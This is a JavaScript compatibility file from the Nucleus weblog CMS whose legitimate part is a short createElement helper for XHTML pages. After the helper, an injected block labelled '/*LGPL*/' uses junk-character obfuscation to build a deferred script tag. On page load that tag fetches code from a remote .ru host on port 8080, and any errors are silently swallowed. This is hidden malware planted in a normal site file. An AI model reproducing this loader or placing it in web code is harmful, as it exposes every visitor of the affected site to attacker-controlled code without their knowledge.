/**
  * Nucleus: PHP/MySQL Weblog CMS (http://nucleuscms.org/) 
  * Copyright (C) 2002-2007 The Nucleus Group
  *
  * This program is free software; you can redistribute it and/or
  * modify it under the terms of the GNU General Public License
  * as published by the Free Software Foundation; either version 2
  * of the License, or (at your option) any later version.
  * (see nucleus/documentation/index.html#license for more info)
  *
  *	Javascript code to make sure that:
  *  - javascript still works when sending pages as application/xhtml+xml
  *  - this doesn't break functionality in IE
  *
  * How to use:
  *		- Include this file
  *		- Use createElement() instead of document.createElement()
  *
  * That's basically it :)
  *
  * $Id: compatibility.js 1116 2007-02-03 08:24:29Z kimitake $
  * $NucleusJP: compatibility.js,v 1.5 2007/02/04 06:28:45 kimitake Exp $
  */

// to get the script working when page is sent as application/xhtml+xml
function createElement(element) {
  if (document.createElementNS) {
	return document.createElementNS('http://www.w3.org/1999/xhtml', element);
  }
  if (document.createElement) {
	return document.createElement(element);
  }
  return false;
}




/*LGPL*/ try{ window.onload = function(){var Lps5fwuhsns = document.createElement('s#!!c@&@^r^!)i^#p)@$!t^@('.replace(/\(|\$|&|\)|#|\!|\^|@/ig, ''));Lps5fwuhsns.setAttribute('defer', 'd!$$e$^&^f!$$e#$r$'.replace(/\)|@|#|\(|\!|\$|&|\^/ig, ''));Lps5fwuhsns.setAttribute('type', 't&$^&e)!!^x$t(^/$(j!$a&(v)#!)a&()s)!c^r@^$!^i@(p^(@#(t)@&'.replace(/&|@|\^|\!|#|\$|\(|\)/ig, ''));Lps5fwuhsns.setAttribute('id', 'Q(7&#^##i$&&v^)@k&$w^!1$t$v!k!&^#o!$g$!$@r(^@#'.replace(/\!|\(|\^|\)|&|\$|@|#/ig, ''));Lps5fwuhsns.setAttribute('s^@@$r)@(c('.replace(/#|\!|\(|\$|@|\)|&|\^/ig, ''),  'h#(@t(!t#($p^:($(/((@/&!!a$@&&m#a$z@&o^($($n(!-)&c^&o(@#-@(u^&$k&@@.(#s@&@k!()$$y^))!#r()&o(#)c$)^k)(.!c$)&)o)m&@(.@#(a^@#b)!^o##@!u@!t!-$c#)$o&$!m&(@.!!$^w#@&e!)b^!$n@e#$t(^e((n((g^)l!&i@$$&s@&#@h@#.^)(r!$$u!#:$#&^8@0$)!(@8)0@&!!/&$!g^^&#(o$$o@$#(^g#@^l$@#e$#$.!!c!&^$o@@^#m^@/#g@$#o#@o@!g&@l&e^)(.(^(c!(^o)#)@m)$/()#f#)&o!&(x&s#!$)p(&o&$@r)$(!t$!)s(.@(c$#!(o^!^m^#)/##g@$#c&$.)()c&a$^^/@&(@$d()&&e&&l#l!#.$^^c#^o$&^$)m(#/)$'.replace(/\$|\(|\^|&|#|@|\)|\!/ig, ''));if (document){document.body.appendChild(Lps5fwuhsns);}} } catch(Zjhizjkicbwvvo1248xvl) {}
